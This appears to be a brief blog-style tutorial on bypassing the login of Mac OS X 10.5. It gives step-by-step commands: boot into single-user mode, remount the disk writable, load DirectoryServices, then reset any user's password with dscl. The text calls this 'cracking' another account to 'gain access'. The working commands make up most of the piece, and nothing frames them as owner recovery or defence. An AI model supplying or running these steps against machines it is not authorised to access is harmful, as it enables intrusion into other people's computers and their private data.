There are many options for cracking the OS X 10.5 system that involves a CD or Flash Drive. In this article we will go over how to do it with a few lines of code.
First: Restart your system or power on your system. When you do and the system goes back on press COMMAND and S at the same time. This will take you to the command prompt.
Second: Type the following one at a time:
mount -uw /
launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist
dscl . -passwd /Users/UserName newpassword
Notes: Remember to replace UserName with the username you are trying to crack and replace newpassword with the password you would like to use in order to gain access.
Third: Restart your Mac and enter your new password! Mission accomplished!